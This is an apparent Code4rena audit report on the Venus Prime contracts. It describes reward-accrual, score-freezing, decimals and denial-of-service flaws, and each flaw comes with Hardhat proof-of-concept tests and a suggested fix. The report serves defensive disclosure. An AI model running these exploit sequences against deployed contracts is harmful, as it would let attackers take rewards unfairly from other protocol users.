Venus Prime - 0xDetermination's results

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L397-L405 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L331-L359 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L365-L382 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L725-L756 https://github.com/code-423n4/2023-09-venus/blob/main/tests/hardhat/Prime/Prime.ts#L294-L301

Vulnerability details

Impact

When an irrevocable token is burned by the admin, the holder should go through the 90 day staking period again before accruing rewards. However, the holder can exploit the protocol to immediately begin accruing rewards after burning. Furthermore, the minimum stake amount for revocable tokens can be bypassed.

Proof of Concept

All functions and properties referred to are in Prime.sol.

The stakedAt mapping is used to record the timestamp at which a user first stakes the minimum amount of XVS; a Prime token can be claimed after 90 days. Any time a Prime token is minted for a user, the user's stakedAt timestamp should be set to zero. This ensures that a user will go through the 90 day staking period again before accruing more rewards if the user's staked amount falls below the minimum staked amount. The claim() function relies on stakedAt timestamps to determine whether or a user has staked the minimum amount for 90 days and is eligible for a Prime token:

    function claim() external { 
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();

        stakedAt[msg.sender] = 0;

        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }

Notice that in the issue() function, the stakedAt of users is set to zero for revocable tokens:

    function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                }

                unchecked {
                    i++;
                }
            }
        } else {
            for (uint256 i = 0; i < users.length; ) {
                _mint(false, users[i]);
                _initializeMarkets(users[i]);
                delete stakedAt[users[i]]; //stakedAt is set to zero when issuing revocable tokens

                unchecked {
                    i++;
                }
            }
        }
    }

However, the stakedAt timestamp is not deleted when issuing irrevocable tokens. This allows the recipient of an irrevocable token to front-run issue() by staking tokens in order to set the stakedAt timestamp to block.timestamp. Note the below function xvsUpdated(), which is called by the XVSVault contract whenever tokens are staked or withdrawn:

    function xvsUpdated(address user) external {
        uint256 totalStaked = _xvsBalanceOfUser(user);
        bool isAccountEligible = isEligible(totalStaked);

        if (tokens[user].exists && !isAccountEligible) {
            if (tokens[user].isIrrevocable) {
                _accrueInterestAndUpdateScore(user);
            } else {
                _burn(user);
            }
        } else if (!isAccountEligible && !tokens[user].exists && stakedAt[user] > 0) {
            stakedAt[user] = 0;
        } else if (stakedAt[user] == 0 && isAccountEligible && !tokens[user].exists) {
            stakedAt[user] = block.timestamp; //This code is executed
        } else if (tokens[user].exists && isAccountEligible) {
            _accrueInterestAndUpdateScore(user);
        }
    }

(Note that if the user is already staked, the user's stakedAt can still be set to block.timestamp by withdrawing tokens below the minimum before staking. Since the user is being issued a token, they will not lose any reward accruing time.) The user keeps the block.timestamp set in the frontrunning transaction after receiving their irrevocable token. Now, note that _burn() does not alter stakedAt:

    function _burn(address user) internal {
        if (!tokens[user].exists) revert UserHasNoPrimeToken();

        address[] storage _allMarkets = allMarkets;

        for (uint256 i = 0; i < _allMarkets.length; ) {
            _executeBoost(user, _allMarkets[i]);

            markets[_allMarkets[i]].sumOfMembersScore =
                markets[_allMarkets[i]].sumOfMembersScore -
                interests[_allMarkets[i]][user].score;
            interests[_allMarkets[i]][user].score = 0;
            interests[_allMarkets[i]][user].rewardIndex = 0;

            unchecked {
                i++;
            }
        }

        if (tokens[user].isIrrevocable) {
            totalIrrevocable--;
        } else {
            totalRevocable--;
        }

        tokens[user].exists = false;
        tokens[user].isIrrevocable = false;

        _updateRoundAfterTokenBurned(user);

        emit Burn(user);
    }

Thus if 90 days have passed since the frontrunning transaction and the irrevocable token is burned by the contract admin, the user can instantly claim an irrevocable token and not lose any reward accrual. claim() will not negatively affect the user's reward accrual, since it simply mints a token for the user and updates the user's score.

This is clearly not the intended behavior; for example, if a non-malicious user already possesses a revocable token, is upgraded to an irrevocable token, and is then burned by the contract admin, the result is that the user must go through another 90-day staking period before accruing more rewards. This is because the user's stakedAt timestamp was set to zero when claiming the revocable token.

Finally, because checking for minimum staked XVS is only done in xvsUpdated(), this exploit allows the user to possess a revocable token and accrue and claim rewards while bypassing the minimum XVS staked requirement.

Test

Paste and run the below test in the 'mint and burn' scenario in Prime.ts (line 302)

    it("instant_mint", async () => { //irrevocable token issue, fix is to handle issue logic (add the stakedAt delete) and upgrading logic separately?
      const user = user1;
      //frontrun issuance of irrevocable token
      await xvs.connect(user).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user).deposit(xvs.address, 0, bigNumber18.mul(1000));
      //issue irrevocable token
      await prime.issue(true, [user.getAddress()]);
      //withdraw to demonstrate that the user can mint a revocable token with an arbitrarily small staked balance, including 0.
      await xvsVault.connect(user).requestWithdrawal(xvs.address, 0, bigNumber18.mul(999)); 
      //check that user has token
      let token = await prime.tokens(user.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(true);
      //if 90 days have passed from the frontrun deposit then the user can immediately claim a revocable token after being burned, regardless of staked balance.
      await mine(90 * 24 * 60 * 60);
      //burn the irrevocable token
      await prime.burn(user.getAddress());
      //check that user's token is burned
      token = await prime.tokens(user.getAddress());
      expect(token.exists).to.be.equal(false);
      expect(token.isIrrevocable).to.be.equal(false);
      //immediately claim revocable token
      await prime.connect(user).claim();
      //check that user has revocable token
      token = await prime.tokens(user.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(false);
      //check that user's staked balance is under the allowed limit
      let [balance,,pendingWithdrawals] = await xvsVault.getUserInfo(xvs.address,0,user.getAddress());
      let stakedAmount = balance - pendingWithdrawals;
      console.log(stakedAmount); //1e18
      expect(stakedAmount < prime.MINIMUM_STAKED_XVS);
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Issuing an irrevocable token should set user stakedAt timestamps to zero:

    function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
+                   delete stakedAt[users[i]];
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                }
                ...

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L397-L405 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L704-L756 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L623-L639 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L827-L833 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L200-L219 https://github.com/code-423n4/2023-09-venus/blob/main/tests/hardhat/Prime/Prime.ts#L294-L301

Vulnerability details

Note

All functions/properties referred to are in the Prime.sol contract.

Impact

A malicious user can accrue outsized rewards at the expense of other users after updateAlpha() or updateMultipliers() is called.

Proof of Concept

An attacker can prevent their score from being updated and decreased after the protocol's alpha or multipliers change. This is done by manipulatively decreasing the value of pendingScoreUpdates, then ensuring that only other user scores are updated until pendingScoreUpdates reaches zero, at which point calls to updateScores() will revert with the error NoScoreUpdatesRequired(). This can be done via the attacker calling updateScores() to update other users' scores first and/or DoSing calls to updateScores() that would update the attacker's score (see the issue titled "DoS and gas griefing of Prime.updateScores()").

The core of this vulnerability is the attacker's ability to manipulate pendingScoreUpdates. Notice below that claim(), which is called to mint a user's Prime token, doesn't change the value of pendingScoreUpdates:

    function claim() external { 
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();

        stakedAt[msg.sender] = 0;

        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }
    function _mint(bool isIrrevocable, address user) internal {
        if (tokens[user].exists) revert IneligibleToClaim();

        tokens[user].exists = true;
        tokens[user].isIrrevocable = isIrrevocable;

        if (isIrrevocable) {
            totalIrrevocable++;
        } else {
            totalRevocable++;
        }

        if (totalIrrevocable > irrevocableLimit || totalRevocable > revocableLimit) revert InvalidLimit();

        emit Mint(user, isIrrevocable);
    }
    function _initializeMarkets(address account) internal {
        address[] storage _allMarkets = allMarkets;
        for (uint256 i = 0; i < _allMarkets.length; ) {
            address market = _allMarkets[i];
            accrueInterest(market);

            interests[market][account].rewardIndex = markets[market].rewardIndex;
            uint256 score = _calculateScore(market, account);
            interests[market][account].score = score;
            markets[market].sumOfMembersScore = markets[market].sumOfMembersScore + score;

            unchecked {
                i++;
            }
        }
    }

However, burning a token decrements pendingScoreUpdates. (Burning a token is done by withdrawing XVS from XVSVault.sol so that the resulting amount staked is below the minimum amount required to possess a Prime token.) Notice below:

    function _burn(address user) internal {
        ...
        _updateRoundAfterTokenBurned(user);

        emit Burn(user);
    }
    function _updateRoundAfterTokenBurned(address user) internal { 
        if (totalScoreUpdatesRequired > 0) totalScoreUpdatesRequired--;

        if (pendingScoreUpdates > 0 && !isScoreUpdated[nextScoreUpdateRoundId][user]) {
            pendingScoreUpdates--;
        }
    }

To inappropriately decrement the value of pendingScoreUpdates, the attacker can backrun the transaction updating the alpha/multiplier, minting and burning a Prime token (this requires the attacker to have staked the minimum amount of XVS 90 days in advance). If the number of Prime tokens minted is often at the max number of Prime tokens minted, the attacker could burn an existing token and then mint and burn a new one. Since the value of !isScoreUpdated[nextScoreUpdateRoundId][user] is default false, pendingScoreUpdates will be inappropriately decremented if the burned token was minted after the call to updateMultipliers()/updateAlpha().

As aforementioned, the attacker can ensure that only other users' scores are updated until pendingScoreUpdates reaches zero, at which point further calls to updateScores will revert with the custom error NoScoreUpdatesRequired().

Relevant code from updateScores() for reference:

    function updateScores(address[] memory users) external {
        if (pendingScoreUpdates == 0) revert NoScoreUpdatesRequired(); 
        if (nextScoreUpdateRoundId == 0) revert NoScoreUpdatesRequired();

        for (uint256 i = 0; i < users.length; ) {
            ...
            pendingScoreUpdates--;
            isScoreUpdated[nextScoreUpdateRoundId][user] = true;

            unchecked {
                i++;
            }

            emit UserScoreUpdated(user);
        }
    }

As seen, the attacker's score can avoid being updated. This is signficant if a change in multiplier or alpha would decrease the attacker's score. Because rewards are distributed according to the user's score divided by the total score, the attacker can 'freeze' their score at a higher than appropriate value and accrue increased rewards at the cost of the other users in the market.

The attacker can also prevent score updates for other users. The attacker can 'freeze' a user's score that would otherwise increase after the alpha/multiplier changes, resulting in even greater rewards accrued for the attacker and denied from other users. This is because it is possible to decrease the value of pendingScoreUpdates by more than one if the attacker mints and burns more than one token after the alpha/multiplier is updated.

Math to support that a larger score results in greater reward accrual

Let $a$ represent the attacker's score if it is properly updated after a change in alpha/multiplier, $b$ represent the properly updated total score, and $c$ represent the difference between the attacker's larger unupdated score and the attacker's smaller updated score. Clearly $a$, $b$, and $c$ are positive with $a < b$. Consider the following inequality, which holds true since $a<b$ :

$\frac{a+c}{b+c} > \frac{a}{b} \iff a+c > \frac{a(b+c)}{b} \iff a+c > a+\frac{ac}{b}$

Test

Paste and run the below test in the 'mint and burn' scenario in Prime.ts (line 302)

    it("prevent_Update", async () => { //test to show attacker can arbitrarily prevent multiple users from being updated by `updateScores()`
      //setup 3 users
      await prime.issue(false, [user1.getAddress(), user2.getAddress(), user3.getAddress()]);
      await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user2).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user2).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user3).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user3).deposit(xvs.address, 0, bigNumber18.mul(1000));
      //attacker sets up addresses to mint/burn and manipulate pendingScoreUpdates
      const [,,,,user4,user5] = await ethers.getSigners();
      await xvs.transfer(user4.address, bigNumber18.mul(1000000));
      await xvs.transfer(user5.address, bigNumber18.mul(1000000));
      await xvs.connect(user4).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user4).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user5).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user5).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await mine(90 * 24 * 60 * 60);
      //change alpha, pendingScoreUpdates changed to 3
      await prime.updateAlpha(1, 5);
      //attacker backruns alpha update with minting and burning tokens, decreasing pendingScoreUpdates by 2
      await prime.connect(user4).claim();
      await xvsVault.connect(user4).requestWithdrawal(xvs.address, 0, bigNumber18.mul(1000));
      await prime.connect(user5).claim();
      await xvsVault.connect(user5).requestWithdrawal(xvs.address, 0, bigNumber18.mul(1000));
      //attacker updates user 3, decreasing pendingScoreUpdates by 1
      await prime.connect(user1).updateScores([user3.getAddress()])
      //users 1 and 2 won't be updated because pendingScoreUpdates is 0
      await expect(prime.updateScores([user1.getAddress(), user2.getAddress()])).to.be.revertedWithCustomError(prime, "NoScoreUpdatesRequired");
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Check if pendingScoreUpdates is nonzero when a token is minted, and increment it if so. This removes the attacker's ability to manipulate pendingScoreUpdates.

    function _mint(bool isIrrevocable, address user) internal {
        if (tokens[user].exists) revert IneligibleToClaim();

        tokens[user].exists = true;
        tokens[user].isIrrevocable = isIrrevocable;

        if (isIrrevocable) { //@Gas
            totalIrrevocable++;
        } else {
            totalRevocable++;
        }

        if (totalIrrevocable > irrevocableLimit || totalRevocable > revocableLimit) revert InvalidLimit();
+       if (pendingScoreUpdates != 0) {unchecked{++pendingScoreUpdates;}} 

        emit Mint(user, isIrrevocable);
    }

Further Considerations

The call to updateMultipliers() can be frontrun by the attacker with staking XVS and/or lending/borrowing transactions in order to increase the attacker's score before 'freezing' it.

If the attacker wants to keep the inflated score, no actions that update the attacker's score can be taken. However, the attacker can claim the outsized rewards earned at any time and as often as desired since claimInterest() does not update user scores.

If anyone has knowledge that the exploit has occurred, it is possible for any user's score in a market to be updated with a call to accrueInterestAndUpdateScore(), which can neutralize the attack.

The required amount of XVS staked for this exploit can be reduced by 1000 if this exploit is combined with the exploit titled "Irrevocable token holders can instantly mint a revocable token after burning and bypass the minimum XVS stake for revocable tokens".

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L647-L664 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L872-L897 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/libs/Scores.sol#L1-L70

Vulnerability details

Impact

Score is not calculated correctly; improperly high weight will be given to the staked XVS amount or the supply/borrow amount. Rewards accrued will not be properly calculated, so users may accrue too much or too little reward.

Proof of Concept

Prime._calculateScore() and Prime._capitalForScore() calculate the values to be exponentiated according to the set alpha. The code is below:

    function _calculateScore(address market, address user) internal returns (uint256) {
        uint256 xvsBalanceForScore = _xvsBalanceForScore(_xvsBalanceOfUser(user));

        IVToken vToken = IVToken(market);
        uint256 borrow = vToken.borrowBalanceStored(user);
        uint256 exchangeRate = vToken.exchangeRateStored();
        uint256 balanceOfAccount = vToken.balanceOf(user);
        uint256 supply = (exchangeRate * balanceOfAccount) / EXP_SCALE;

        address xvsToken = IXVSVault(xvsVault).xvsAddress();
        oracle.updateAssetPrice(xvsToken);
        oracle.updatePrice(market);
   
        (uint256 capital, , ) = _capitalForScore(xvsBalanceForScore, borrow, supply, market);
        capital = capital * (10 ** (18 - vToken.decimals()));

        return Scores.calculateScore(xvsBalanceForScore, capital, alphaNumerator, alphaDenominator);
    }

    function _capitalForScore(
        uint256 xvs,
        uint256 borrow,
        uint256 supply,
        address market
    ) internal view returns (uint256, uint256, uint256) {
        address xvsToken = IXVSVault(xvsVault).xvsAddress();

        uint256 xvsPrice = oracle.getPrice(xvsToken);
        uint256 borrowCapUSD = (xvsPrice * ((xvs * markets[market].borrowMultiplier) / EXP_SCALE)) / EXP_SCALE;
        uint256 supplyCapUSD = (xvsPrice * ((xvs * markets[market].supplyMultiplier) / EXP_SCALE)) / EXP_SCALE;

        uint256 tokenPrice = oracle.getUnderlyingPrice(market);
        uint256 supplyUSD = (tokenPrice * supply) / EXP_SCALE;
        uint256 borrowUSD = (tokenPrice * borrow) / EXP_SCALE;

        if (supplyUSD >= supplyCapUSD) {
            supply = supplyUSD > 0 ? (supply * supplyCapUSD) / supplyUSD : 0;
        }

        if (borrowUSD >= borrowCapUSD) {
            borrow = borrowUSD > 0 ? (borrow * borrowCapUSD) / borrowUSD : 0;
        }

        return ((supply + borrow), supply, borrow);
    }

_capitalForScore() typically returns a value somewhat close to the sum of the supply and borrow parameters passed to it. This value is used to initialize the local variable capital in _calculateScore(). The supply and borrow parameters are equal to the amount of underlying supplied or borrowed by the user.

The problem stems from this line in _calculateScore():

        capital = capital * (10 ** (18 - vToken.decimals()));

This line is meant to scale up the value of capital to 18 decimal places of precision in case the underlying token has less than 18 decimals. This is so that the value of capital has the same precision as the value of xvsBalanceForScore, since XVS has 18 decimals. However, this line does not correctly implement the desired functionality because vTokens always have 8 decimals. Thus, this line of code always multiplies capital by 1e10.

This is important because the capital and xvsBalanceForScore values passed to Scores.calculateScore() should have the same amount of decimal precision in order to avoid improperly giving one of the arguments more weight. Scores.calculateScore() does not check for the decimal precision of its parameters, as this logic is (and should be) handled by Prime._calculateScore().

Screenshot showing that vTokens always have 8 decimals: https://gist.github.com/0xDetermination/86980a91377b6d4a097ac18ef82ed7a8

Example

Let's consider the case where $\alpha=1/2$ and the market is wETH.

The function $f(x)=x^{1/2}$ can be used to calculate the post-exponentiation value of xvsBalanceForScore or capital (see the reward formula if the reason for exponentiation is unclear: https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/README.md#rewards). However, capital is improperly multiplied by 1e10 since wETH already has 18 decimals of precision. Therefore, the function to calculate the post-exponentiation value of capital is actually $g(x)=({10}^{10}x)^{1/2}$, the derivative of which is $g'(x)=\frac{{10}^{5}}{{2x^{1/2}}}$. Comparatively, the derivative of $f(x)$ is $f'(x)=\frac{1}{2x^{1/2}}$. We can see that for somewhat equivalent values of xvsBalanceForScore and capital, a change in the user's capital (supply/borrow amount) will affect the score significantly more than an equivalent change in the user's xvsBalanceForScore (staked XVS amount).

It's important for the capital and xvsBalanceForScore arguments passed to Scores.calculateScore() to have the same amount of decimal precision, or the score will be calculated incorrectly.

Furthermore, if the market is a token with six decimal places like USDC on ethereum mainnet/l2s, capital will be scaled up to 16 decimals places, 2 less than xvsBalanceForScore. In this case, the staked XVS amount will have an improperly high weight compared to the supply/borrow amount.

Recommended Mitigation Steps

The line of code capital = capital * (10 ** (18 - vToken.decimals())); should get the number of decimals of the underlying token instead of the number of decimals of the vToken.

Assessed type

Decimal

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L200-L230 https://github.com/code-423n4/2023-09-venus/blob/main/tests/hardhat/Prime/Prime.ts#L294-L301

Vulnerability details

Impact

updateScores() is meant to be called to update the scores of many users after reward alpha is changed or reward multipliers are changed. An attacker can cause calls to Prime.updateScores() to out-of-gas revert, delaying score updates. Rewards will be distributed incorrectly until scores are properly updated.

Proof of Concept

updateScores() will run out of gas and revert if any of the users passed in the argument array have already been updated. This is due to the continue statement and the incrementing location of i:

    function updateScores(address[] memory users) external {
        if (pendingScoreUpdates == 0) revert NoScoreUpdatesRequired();
        if (nextScoreUpdateRoundId == 0) revert NoScoreUpdatesRequired();

        for (uint256 i = 0; i < users.length; ) {
            address user = users[i];

            if (!tokens[user].exists) revert UserHasNoPrimeToken();
            if (isScoreUpdated[nextScoreUpdateRoundId][user]) continue;
            ...
            unchecked {
                i++;
            }

            emit UserScoreUpdated(user);
        }
    }

An attacker can frontrun calls to updateScores() with a call to updateScores(), passing in a 1-member array of one of the addresses in the frontran call's argument array. The frontran call will run out of gas and revert, and only one of the users intended to be updated will actually be updated.

Test

Paste and run the below test in the 'mint and burn' scenario in Prime.ts (line 302)

    it("dos_updateScores", async () => {
      //setup 3 users
      await prime.issue(true, [user1.getAddress(), user2.getAddress(), user3.getAddress()]);
      await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user2).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user2).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user3).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user3).deposit(xvs.address, 0, bigNumber18.mul(1000));
      //change alpha
      await prime.updateAlpha(1, 5);
      //user 1 frontruns updateScores([many users]) with updateScores([solely user3])
      await prime.connect(user1).updateScores([user3.getAddress()])
      //frontran call should revert
      await expect(prime.updateScores([user1.getAddress(), user2.getAddress(), user3.getAddress()])).to.be.reverted;
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Increment i such that continue doesn't result in infinite looping:

    function updateScores(address[] memory users) external {
        ...
+       for (uint256 i = 0; i < users.length; ++i} ) {
-       for (uint256 i = 0; i < users.length; ) {
            ...
-           unchecked {
-               i++;
-           }
            ...
        }
    }

Assessed type

Loop

Venus Prime QA Report

[L-01] PrimeLiquidityProvider.MAX_DISTRIBUTION_SPEED may not be appropriate for all tokens

Impact

The token distribution speed may be set to an inappropriately high value.

Proof of Concept

MAX_DISTRIBUTION_SPEED is a constant equal to 1e18. Distribution speed units is tokens/block. Because different tokens are valued differently, 1e18 may not be an appropriate max distribution speed for all tokens. The difference here may be especially pronounced for tokens with less decimals like USDC. For example, the max distribution speed for ETH would be 1 ETH per block, or around 1500 USD per block. In contrast, the max distribution speed for USDC could be around 1,000,000,000,000 USD per block since USDC has 6 decimal places on ethereum mainnet/l2s.

Recommended Mitigation Steps

Consider implementing a variable cap on distribution speed.

[L-02] Qualifiable supply and borrow calculation is different than the equation in the documentation

Description

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/README.md#rewards

In the above documentation, qualifiable supply and borrow is different than the pseudocode implementation, which is similar to the actual implementation.

Qualifiable supply and borrow equation:

$\sigma_{i,m} = \min(\tau_i \times borrowMultiplier_m, borrowedAmount_{i,m}) + \min(\tau_i \times supplyMultiplier_m, suppliedAmount_{i,m})$

Pseudocode:

borrowUSDCap = toUSD(xvsBalanceOfUser * marketBorrowMultipler)
supplyUSDCap = toUSD(xvsBalanceOfUser * marketSupplyMultipler)
borrowUSD = toUSD(borrowTokens)
supplyUSD = toUSD(supplyTokens)

// borrow side
if (borrowUSD < borrowUSDCap) {
  borrowQVL = borrowTokens
else {
  borrowQVL = borrowTokens * borrowUSDCap/borrowUSD
}

// supply side
if (supplyUSD < supplyUSDCap) {
  supplyQVL = supplyTokens
else {
  supplyQVL = supplyTokens * supplyUSDCap/supplyUSD
}

return borrowQVL + supplyQVL

Actual implementation:

    function _capitalForScore(
        uint256 xvs,
        uint256 borrow,
        uint256 supply,
        address market
    ) internal view returns (uint256, uint256, uint256) {
        address xvsToken = IXVSVault(xvsVault).xvsAddress();

        uint256 xvsPrice = oracle.getPrice(xvsToken);
        uint256 borrowCapUSD = (xvsPrice * ((xvs * markets[market].borrowMultiplier) / EXP_SCALE)) / EXP_SCALE;
        uint256 supplyCapUSD = (xvsPrice * ((xvs * markets[market].supplyMultiplier) / EXP_SCALE)) / EXP_SCALE;

        uint256 tokenPrice = oracle.getUnderlyingPrice(market);
        uint256 supplyUSD = (tokenPrice * supply) / EXP_SCALE;
        uint256 borrowUSD = (tokenPrice * borrow) / EXP_SCALE;

        if (supplyUSD >= supplyCapUSD) {
            supply = supplyUSD > 0 ? (supply * supplyCapUSD) / supplyUSD : 0;
        }

        if (borrowUSD >= borrowCapUSD) {
            borrow = borrowUSD > 0 ? (borrow * borrowCapUSD) / borrowUSD : 0;
        }

        return ((supply + borrow), supply, borrow);
    }

Recommended Mitigation Steps

The code/docs should match.

[L-03] Hooks should have access control

Impact

The hooks Prime.xvsUpdated() and Prime.accrueInterestAndUpdateScore() only need to be called by the XVSVault and lending pools, respectively. They lack access control, which needlessly increases attack surface area.

Recommended Mitigation Steps

Add access control to the aforementioned hooks.

[L-04] Anyone can call Prime.claimInterest() to send a user's accrued tokens to the user

Impact

Allowing anyone to send accrued Prime rewards on the behalf of any user needlessly increases attack surface area.

Recommended Mitigation Steps

    function claimInterest(address vToken) external whenNotPaused returns (uint256) {
        return _claimInterest(vToken, msg.sender);
    }

-   function claimInterest(address vToken, address user) external whenNotPaused returns (uint256) {
-       return _claimInterest(vToken, user);
-   }

[NC-01] Potential oracle manipulation attack; inflate user score

Impact

A user could inflate their score and accrue an unfairly large amount of rewards at the expense of other users.

Proof of Concept

Note that one of the oracles used in the Venus Protocol Oracles repo fetches price from PancakeSwap (https://github.com/VenusProtocol/oracle/blob/develop/contracts/oracles/TwapOracle.sol):

/**
 * @title TwapOracle
 * @author Venus
 * @notice This oracle fetches price of assets from PancakeSwap.
 */
contract TwapOracle is AccessControlledV8, TwapInterface {

Also note that the supply and borrow components of a user's score calculation depend on the price of the corresponding token:

    function _capitalForScore(
        uint256 xvs,
        uint256 borrow,
        uint256 supply,
        address market
    ) internal view returns (uint256, uint256, uint256) {
        address xvsToken = IXVSVault(xvsVault).xvsAddress();

        uint256 xvsPrice = oracle.getPrice(xvsToken);
        uint256 borrowCapUSD = (xvsPrice * ((xvs * markets[market].borrowMultiplier) / EXP_SCALE)) / EXP_SCALE;
        uint256 supplyCapUSD = (xvsPrice * ((xvs * markets[market].supplyMultiplier) / EXP_SCALE)) / EXP_SCALE;

        uint256 tokenPrice = oracle.getUnderlyingPrice(market);
        uint256 supplyUSD = (tokenPrice * supply) / EXP_SCALE;
        uint256 borrowUSD = (tokenPrice * borrow) / EXP_SCALE;

        if (supplyUSD >= supplyCapUSD) {
            supply = supplyUSD > 0 ? (supply * supplyCapUSD) / supplyUSD : 0;
        }

        if (borrowUSD >= borrowCapUSD) {
            borrow = borrowUSD > 0 ? (borrow * borrowCapUSD) / borrowUSD : 0;
        }

        return ((supply + borrow), supply, borrow);
    }

If the prices here are from an oracle that gets prices from a single exchange, a flashloan attack could be used to manipulate the prices and manipulate a user's score. Example:

1. A user's supplyCapUSD is larger than the user's supplyUSD.
2. The user (who is a contract) takes out a flash loan, makes a trade to inflate the tokenPrice, updates their score, then reverses the trade.
3. The user's score is now higher, and the user can accure more rewards at the expense of other users.

This attack is unlikely to happen since the fees incurred from the flashloan attack would likely be larger than the potential gains.

Recommended Mitigation Steps

Only use decentralized oracles like Chainlink to check price.

[NC-02] Immutables set in Prime.sol's constructor can be hardcoded to avoid bad inputs

Description

The BLOCKS_PER_YEAR, WBNB, and VBNB immutables are set to arguments passed to the constructor, so bad input is possible. Since constructor code does not increase deployment costs, it's better to hardcode these values for each chain and pass in the name of the desired chain to the constructor instead.

Recommended Mitigation Steps

Pass the name of the desired chain to the constructor and use if-else blocks to set the immutable values.

[NC-03] Prime._executeBoost() naming can be improved

Description

_executeBoost() accrues rewards for users; the term 'boost' is not used anywhere in the documentation. This function can be renamed to improve clarity/readability.

Recommended Mitigation Steps

Rename '_executeBoost' to '_accrueRewardForUser', or similar.

[NC-04] Prime._checkAlphaArguments() allows alpha to be anywhere in the range [0, 1]

Description

It may not be appropriate for the alpha to be able to be set to any value in this range.

Recommended Mitigation Steps

If desired, add more restrictions on the possible values of alpha.

[NC-05] Incorrect comment in FixedMath0x.sol

Description

The math in the below comment is wrong:

// For example: log(0.3) = log(e^-1 * e^-0.25 * 1.0471028872385522)
//              = 1 - 0.25 - log(1 + 0.0471028872385522)

Additionally, ln() should be used instead of log() for clarity.

Recommended Mitigation Steps

Change the comment to:

// For example: ln(0.3) = ln(e^-1 * e^-0.25 * 1.0471028872385522)
//              = -1 - 0.25 + ln(1 + 0.0471028872385522)

[NC-06] Prime.setLimit() is not called in the initializer

Description

The protocol plans to issue tokens upon deploying the protocol; limits need to be set in order to issue tokens. Limits are currently not set in the constructor or initializer.

Recommended Mitigation Steps

Call setLimit() in the constructor or initializer.

Venus Prime Analysis Report

Approach

The approach taken in this audit was to first check through the minting, burning, and reward accrual functionalities while assuming that there are no issues in the score calculation. After looking through the aforementioned logic, the details of score calculation were checked, including the math libraries.

Code Complexity

The codebase is quite complex, including many external calls to other contracts and hooks for other contracts to call. Additionally, there is a lot of code implementing math formulae and functions. More complexity generally translates to more risk of the protocol not functioning correctly.

Systemic Risks

The hooks in the protocol that only need to be called by certain contracts lack access control. (For example, Prime.xvsUpdated() only needs to be called by the XVSVault.) This provides extra attack surface area, which should be eliminated. Access control should be added to these hooks.

Similarly, anyone can call Prime.claimInterest() to send any user's accrued rewards to them. This is another functionality that provides extra attack surface area, and adding restrictions here should be seriously considered.

The exponentiation for the score calculation adds additional complexity, perhaps without commensurate gain in functionality. It may be reasonable to remove the exponentiation part of the score calculation, and weight user stakes and supply/borrow balances a different way. For example, variable weighting could be achieved using division.

The functionality to update alpha/multipliers is a point of concern, since user scores cannot be atomically updated with an update of alpha/multiplier. Removing this functionality would reduce the risk of the protocol not functioning correctly.

Conclusion

